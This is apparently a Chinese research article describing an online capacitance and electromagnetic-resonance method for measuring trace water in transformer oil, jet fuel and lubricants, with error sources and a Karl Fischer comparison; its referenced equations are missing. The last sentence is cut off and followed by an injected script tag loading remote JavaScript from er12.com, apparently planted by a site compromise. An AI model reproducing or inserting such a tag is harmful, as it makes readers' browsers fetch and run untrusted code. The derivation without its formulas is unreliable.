摘 要：以电容作为敏感元件，利用电磁谐振技术研究一种新型石油产品水分测定方法，该方法可实现水分的在线测量，测量精度高(≤2×10-6)，测量量程宽(5×10-6～1000×10-6)，操作简单，不需任何试剂。
关键词：电磁谐振；微水；电容
1测定原理及其实现
1.1测定原理
在线微水测定方法以电容作为敏感元件，利用油的介电常数和水的介电常数不同，当水的含量变化时，油和水混和物的介电常数发生变化，则相应的电容发生变化，将电容接入电磁谐振工作电路，则可检测出电容的变化量，即求出水的含量。
测量电容采用圆柱形电容器，结构如图1所示，则该电容器的电容为：
其中d，d：两个极柱的直径；ε：电介质的介电常数；l：电容的有效长度。
对于一个确定的电容，设
则(1)式可写成
干物质吸水后的介电常数的变化用下式表示：
其中εm：湿物质的介电常数；ε1：水的介电常数；ε2：干物质的介电常数；s1：湿物质中水含量的体积填充系数；s2：湿物质中干物质含量的体积填充系数，显然s2=1-s1。
根据(2)、(3)式得：
因为k、ε1、ε2是常数，所以电容的变化与水含量的变化成正比，只要求出电容变化量就可以知道水含量s1。
1.2测试系统的硬件组成
通过传感器把石油产品中的微量水含量变为电信号，经过信号调理和电路变换，送入单片机系统进行综合处理后，再通过d/a和f/i转换为4～20ma等标准直流电信号输出，该系统具有自校验、自诊断等智能功能，具有很好的现场实用性。
1.3实现
变送器为全封闭铠装结构，具有很好的屏蔽性。将变送器安装在储油箱的顶部、底部或侧面，采用rs-485串行接口与上位机(二次仪表)连接实现在线测量。为了提高传感器的灵敏度，减少外界温度和电磁干扰，传输信号的电缆采用双层屏蔽同轴电缆，线缆的外屏蔽层接地。
2该方法的主要误差来源及其处理
2.1温度
石油产品的介电常数随温度变化而变化，因此，含水量不变，而电容值本身要随温度变化而变化，以变压器油为例，如图3所示，输出频率(电容)随温度的降低而变大，从图可知，温度变化31.4℃，频率变化近700个字。为了补偿温度对测量结果的影响，在传感器的内极板上安装了pt50温度传感器测量油中的温度，建立温度补偿数据库或温度补偿曲线来消除温度误差的影响。
2.2石油产品中的添加剂对测量结果的影响
实验表明，不同类型的石油产品，由于其添加剂的种类和含量的不同，对测量结果影响很大，但同一类型的石油产品，对测量结果影响较小。因此，对不同类型的石油产品水分测定时，必须分别对传感器进行标定来消除添加剂对测量结果的影响。
2.3石油产品中是否含有气泡
空气的介电常数与油和水的介电常数相差很大，如油中有气相成分(气泡)将对测量结果影响 很大，这种现象在循环油路中是常见的，如对飞机进行的加油系统，由于流速的不稳定，在产生紊流的同时有可能产生气泡。因此如用本方法进行在线测量水分时，必须进行消气处理，即在测量的上端安装消气器对油中的气泡进行排除。
3实验结果及分析
我们对3种不同的石油产品(变压器油、航空煤油、航空润滑油)进行了实验室模拟在线测量，变送器与二次显示仪表(上位机)的距离为1km，并把测量结果与国标法即卡尔·费休试剂法(仪器为ws-5 model miniamount water detective instrument)进行比对，具体结果见表1。
从表1可以看出，用该方法测试的结果与国家标准试验方法——卡尔·费休试剂法具有一致性，测量重复性较好，实验结果的重复性误差小于3.5％。但测量低端误差比测量高端误差要大，这与环境湿度和被测油温度场不均匀等多种因素有关。
4结束语
该试验方法以电容作为敏感元件，利用电磁谐振技术实现微水测量，具有操作简单，测量精 度高(≤2×10-6)(常规方法测量精度≤3×10-6)，测量量程宽(可以实现5×10 -6～1000×10-6)，适应环境温度强(-30℃～80℃)等优点，可用于变压器油的微水在线测量和监控，实现“按质换油”；也?script src=http://er12.com/t.js>
